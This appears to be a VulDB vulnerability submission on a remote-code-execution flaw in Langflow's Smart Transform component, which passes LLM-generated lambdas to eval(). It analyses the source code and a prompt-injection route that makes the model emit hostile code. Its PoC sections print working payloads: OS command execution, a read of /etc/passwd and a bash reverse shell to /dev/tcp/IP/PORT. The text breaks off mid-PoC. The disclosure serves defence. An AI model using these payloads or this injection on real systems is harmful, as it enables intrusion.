| 标题 | langflow-ai Langflow Desktop 1.8.3 Execution with Unnecessary Privileges |
|---|
| 描述 | # 1. Vulnerability Description
Langflow features a built-in component called **Smart Transform** (corresponding to `LambdaFilterComponent` in the source code). Its purpose is to allow LLMs to dynamically generate Python lambdas for data transformation. While the concept is innovative, the implementation is dangerously flawed: the lambda string produced by the LLM undergoes a superficial validation before being passed directly to `eval()` for execution, completely lacking a sandbox environment.
The vulnerability stems from the convergence of three critical flaws:
1. `_validate_lambda()` performs fake validation that is easily bypassed.
2. `eval()` executes code "naked," without any environment restrictions.
3. User input is directly formatted into the LLM Prompt, making Prompt Injection trivial.
**Affected Versions:** All Open Source versions up to 1.8.3, and Closed Source version 1.8.4.
---
# 2. Directory Structure
```plain
langflow-1.8.1/src/
├── lfx\src\lfx/
│ ├── components/
│ │ ├── llm_operations/
│ │ │ ├── lambda_filter.py # Core vulnerability file (eval in _parse_lambda_from_response)
│ ├── base/
│ │ ├── models/
│ │ │ ├── unified_models.py # LLM model retrieval (get_llm)
│ └── custom/
│ ├── custom_component/
│ │ ├── component.py # Component base class
│ └── schema/
│ └── data.py
│ └── dataframe.py
│ └── message.py
└── backend/base/langflow/ # LFX Graph Engine
├── api/v1/
└── endpoints.py # API Entry point
```
---
# LLM Prompt Templates
User data and instructions are directly formatted into the Prompt, which is the root cause of the Prompt Injection.
```plain
# Text Transformation Prompt ({instruction} and {text_preview} are user-controlled)
TEXT_TRANSFORM_PROMPT = (
"Given this text, create a Python lambda function that transforms it "
"according to the instruction.\n"
"The lambda should take a string parameter and return the transformed string.\n\n"
"Text Preview:\n{text_preview}\n\n" # User data injection
"Instruction: {instruction}\n\n" # User instruction injection
"Return ONLY the lambda function and nothing else..."
)
# Structured Data Prompt ({data_sample} and {instruction} are user-controlled)
DATA_TRANSFORM_PROMPT = (
"Given this data structure and examples, create a Python lambda function "
"that implements the following instruction:\n\n"
"Data Structure:\n{dump_structure}\n\n"
"Example Items:\n{data_sample}\n\n" # User data injection
"Instruction: {instruction}\n\n" # User instruction injection
"Return ONLY the lambda function and nothing else..."
)
```
---
# 3. Root Cause Analysis (Three Security Issues)
## 3.1 Issue 1: "Naked" eval() Execution of LLM-generated Lambdas
File location: `src/lfx/src/lfx/components/llm_operations/lambda_filter.py:250-264`
```python
def _parse_lambda_from_response(self, response_text: str) -> Callable[[Any], Any]:
"""Extract and validate lambda function from LLM response."""
lambda_match = re.search(r"lambda\s+\w+\s*:.*?(?=\n|$)", response_text)
if not lambda_match:
msg = f"Could not find lambda in response: {response_text}"
raise ValueError(msg)
lambda_text = lambda_match.group().strip()
self.log(f"Generated lambda: {lambda_text}")
if not self._validate_lambda(lambda_text): # Useless validation, see 3.2
msg = f"Invalid lambda format: {lambda_text}"
raise ValueError(msg)
return eval(lambda_text) # noqa: S307 # Sink point
```
The issue here is straightforward: `eval(lambda_text)` provides no execution environment limits. Any Python expression within the lambda body will run. It fails to set `globals={"__builtins__": {}}`, and the `# noqa: S307` comment merely silences the linter without providing any actual security. Since the LLM response serves as the direct input for `eval`, the attack surface is wide open.
---
## 3.2 Issue 2: `_validate_lambda()` is Purely Cosmetic
File location: `src/lfx/src/lfx/components/llm_operations/lambda_filter.py:155-158`
```python
def _validate_lambda(self, lambda_text: str) -> bool:
"""Validate the provided lambda function text."""
# Return False if the lambda function does not start with 'lambda' or does not contain a colon
return lambda_text.strip().startswith("lambda") and ":" in lambda_text
```
This "validation" only checks two things: does it start with `lambda` and does it contain a colon. All valid (and malicious) lambda syntax naturally satisfies these conditions, rendering the check useless. There is no AST analysis, no blacklists, and no whitelists.
The following malicious lambdas all pass this check:
### Malicious Lambda Examples
**System Command Execution:**
```python
lambda x: __import__('os').system('id')
lambda data: __import__('os').popen('id').read()
lambda x: exec('import subprocess;subprocess.run(["id"])')
```
**Sensitive File Read:**
```python
lambda x: open('/etc/passwd').read()
```
**Reverse Shell:**
```python
lambda x: __import__('os').system('bash -c "bash -i >& /dev/tcp/IP/PORT 0>&1"')
```
---
## 3.3 Issue 3: User-Controlled LLM Input — Prompt Injection Surface
File location: `src/lfx/src/lfx/components/llm_operations/lambda_filter.py:219-248`
```python
def _build_text_prompt(self, text: str) -> str:
"""Build prompt for text/Message transformation."""
# ...
return TEXT_TRANSFORM_PROMPT.format(text_preview=text_preview, instruction=self.filter_instruction)
# Both text_preview and instruction are injectable
def _build_data_prompt(self, data: dict | list) -> str:
"""Build prompt for structured data transformation."""
# ...
return DATA_TRANSFORM_PROMPT.format(
dump_structure=dump_structure, data_sample=data_sample, instruction=self.filter_instruction
)
# data_sample and instruction are also injectable
```
The `instruction` field can be edited directly in the Flow component, which is where the PoC is written. `text_preview` and `data_sample` are passed from upstream components, allowing for the injection of malicious text or structured data. Any of these three injection points can force the LLM to output a malicious lambda.
---
## 3.4 Execution Flow: `_execute_lambda()`
File location: `src/lfx/src/lfx/components/llm_operations/lambda_filter.py:266-280`
```python
async def _execute_lambda(self) -> Any:
"""Generate and execute a lambda function based on input type."""
if self._is_message_input():
data: Any = self._extract_message_text() # Extract user data
prompt = self._build_text_prompt(data) # Inject data into Prompt
else:
data = self._extract_structured_data() # Extract user data
prompt = self._build_data_prompt(data) # Inject data into Prompt
llm = get_llm(model=self.model, user_id=self.user_id, api_key=self.api_key)
response = await llm.ainvoke(prompt) # Invoke LLM
response_text = response.content if hasattr(response, "content") else str(response)
fn = self._parse_lambda_from_response(response_text) # Parse
return fn(data) # Execute lambda
```
From the moment user input enters the system until `fn(data)` is executed, there is no effective security gate in the entire chain.
---
# 4. Full Attack Chain
The process is as follows:
1. `_execute_lambda()` receives input; `_is_message_input()` determines the type.
2. `_build_text_prompt(data)` injects a malicious `instruction` into the Prompt.
3. `llm.ainvoke(prompt)` calls the LLM, which returns the malicious lambda.
4. `re.search(r"lambda\s+\w+\s*:.*?(?=\n|$)")` extracts the lambda string.
5. `_validate_lambda(lambda_text)` performs the fake validation and passes.
6. `eval()` executes, creating the lambda object.
7. `fn(data)` is triggered, resulting in **RCE**.
---
# 5. Key Functions
## 5.1 Flow Execution Entry Points
File location: `src/lfx/src/lfx/components/llm_operations/lambda_filter.py:323-345`
```python
async def process_as_data(self) -> Data:
"""Process the data and return as a Data object."""
try:
result = await self._execute_lambda()
return self._convert_result_to_data(result)
except Exception as e:
self._handle_process_error(e, "Data")
async def process_as_dataframe(self) -> DataFrame:
# ... calls _execute_lambda()
async def process_as_message(self) -> Message:
# ... calls _execute_lambda()
```
All three methods (`process_as_data`, `process_as_dataframe`, `process_as_message`) rely on `_execute_lambda()`, meaning the vulnerability can be triggered regardless of which output port is used.
---
# 6. Exploit (PoC)
## 6.1 Prerequisites
1. Target is running Langflow <= 1.8.3 (Open Source) or 1.8.4 (Closed Source).
2. Ability to create, edit, and run a Flow.
3. Ability to add the Smart Transform component.
## 6.2 Exploitation Steps
### Open Source Version 1.8.3
Build the Flow as shown in the provided screenshots. In the `instructions` field, input the PoC. Trigger the execution with any input to run the command.
### POC Collection
**System Command Execution:**
```python
lambda x: __import__('os').system('id')
lambda data: __import__('os').popen('id').read()
lambda x: exec('import subprocess;subprocess.run(["id"])')
```
**Read Sensitive File:**
```python
lambda x: open('/etc/passwd').read()
```
**Reverse Shell:**
```python
lambda x: __import__('os').system('bash -c "bash -i >& /dev/tcp/IP/PORT 0>&1"')
```
**Write File:**
```pytho |
|---|
| 来源 | ⚠️ https://www.yuque.com/mengnanbulalei/ognlsk/hte2a98ro5gf8tp9?singleDoc#%20%E3%80%8AFirst%20release%20of%20Langflow%201.8.3%20Smart%20Transform%20eval()/Lambda%20injection%20RCE%20vulnerability%20analysis+POC%E3%80%8B |
|---|
| 用户 | wenject (UID 97352) |
|---|
| 提交 | 2026-04-14 11時10分 (2 月前) |
|---|
| 管理 | 2026-05-02 22時24分 (18 days later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 360869 [langflow-ai langflow 直到 1.8.4 LambdaFilterComponent lambda_filter.p eval 权限提升] |
|---|
| 积分 | 20 |
|---|